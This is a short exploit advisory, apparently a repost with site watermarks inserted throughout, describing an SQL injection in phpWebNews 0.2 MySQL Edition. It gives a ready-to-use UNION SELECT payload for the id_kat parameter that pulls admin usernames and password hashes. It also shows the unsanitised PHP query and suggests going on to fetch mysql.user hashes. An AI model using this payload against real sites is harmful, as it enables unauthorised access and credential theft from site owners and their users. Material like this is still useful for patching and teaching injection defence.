phpWebNews 0.2 MySQL Edition (id_kat) SQL Injection Vulnerability

phpWebNews v0.2 MySQL Edition (Surat kabar/News Management Online)
SQL Injection 中国网管联盟bitsCN.com

SQL Injection
------------- 网管联盟bitsCN_com

index.php?id_kat=null+UNION+ALL+SELECT+1,2,3,4,concat(user,0x3a,passwd),6,7,8,9,10,11,12,13+FROM+user-- 网管联盟bitsCN_com

$id_kat=$_GET[id_kat];    
$m_conn = db_connect();
if ((empty($id_kat))||($id_kat==''))
 $m_sql = "select * from berita where status='tampil' and order by tgl desc";
else
 $m_sql = "select * from berita where status='tampil' and kode_kategori=$id_kat and isi_berita like %'$m_txt'% order by tgl desc"; 中国网管论坛bbs.bitsCN.com

Here, we have a classic SQL MySQL injection.  The GET variable "id_kat" isn't sanitized before being passed to the query.  By injecting our string, the query becomes:

select * from berita where status='tampil' and kode_kategori=null UNION ALL SELECT 1,2,3,4,concat(user,0x3a,passwd),6,7,8,9,10,11,12,13 FROM user-- and isi_berita like %'$m_txt'% order by tgl desc

网管论坛bbs_bitsCN_com

The comment renders the rest of the query to be useless.  We are effectively grabbing the first user from the table "user", which is the admin.  You can inject the other strings with server variables and attempt to fetch mysql.user hashes, if the conditions apply. 网管网www_bitscn_com